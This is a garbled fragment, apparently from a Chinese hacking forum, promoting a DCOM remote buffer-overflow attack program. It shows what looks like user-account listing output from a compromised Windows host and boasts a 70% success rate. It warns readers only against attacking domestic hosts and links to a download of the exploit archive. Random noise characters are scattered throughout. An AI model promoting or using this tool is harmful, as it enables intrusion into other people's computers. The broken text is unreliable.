Guest infinityaspnet infinityinformations IUSR_DIALTONE IUSR_NS1 IWAM_DIALTONE IWAM_NS1 SQLDebugger 3 E$ R t/ X. {7 s& U1 H; S8 KTsInternetUser WO 9 X4 t) u* _4 a2 b+ W+ KThe command completed with one or more errors. 这样一来你想干什么就是你的事了. 这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标 x: J+ A# S4 \+ E# |' S重启才行. CN可以是繁体或简体中文颁本. ! A2 Q% L9 x2 ^8 A4 }再次警告:不要对付国内主机!!!!!后果自负!!!! - S/ M$ P6 G# C5 zXDcom.rar远程溢出攻击程序下载: http://www.cnse8.com/opensoft.asp?soft_id=206&url=3